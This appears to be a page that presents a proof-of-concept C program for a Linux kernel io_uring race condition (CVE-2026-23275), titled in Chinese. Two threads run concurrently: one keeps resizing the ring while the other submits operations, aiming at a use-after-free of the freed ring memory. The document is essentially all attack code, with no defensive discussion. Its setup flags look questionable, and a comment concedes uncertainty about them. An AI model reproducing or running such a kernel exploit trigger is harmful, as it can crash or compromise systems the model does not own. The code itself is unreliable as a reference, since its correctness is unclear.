CVE-2026-23275 Linux内核io_uring竞态条件漏洞

#include <liburing.h> #include <pthread.h> #include <stdio.h> #include <unistd.h> // Conceptual PoC for CVE-2026-23275 // This code attempts to trigger the race condition between // io_uring resize and task work addition. struct io_uring ring; void* resize_thread_func(void* arg) { while (1) { // Constantly resize the ring to trigger the vulnerable window // where ctx->rings is swapped and old one is freed. io_uring_queue_resize(&ring, 32); io_uring_queue_resize(&ring, 64); } return NULL; } void* task_work_thread_func(void* arg) { while (1) { // Submit operations to trigger task work. // This attempts to hit the ctx->rings access during the swap. struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); if (sqe) { io_uring_prep_nop(sqe); io_uring_submit(&ring); } } return NULL; } int main() { // Setup io_uring with DEFER_TASKRUN struct io_uring_params p = {0}; // Note: Actual flag values depend on kernel headers p.flags = IORING_SETUP_DEFER_TASKRUN; if (io_uring_queue_init_params(32, &ring, &p) < 0) { perror("io_uring_queue_init_params"); return 1; } pthread_t t1, t2; pthread_create(&t1, NULL, resize_thread_func, NULL); pthread_create(&t2, NULL, task_work_thread_func, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }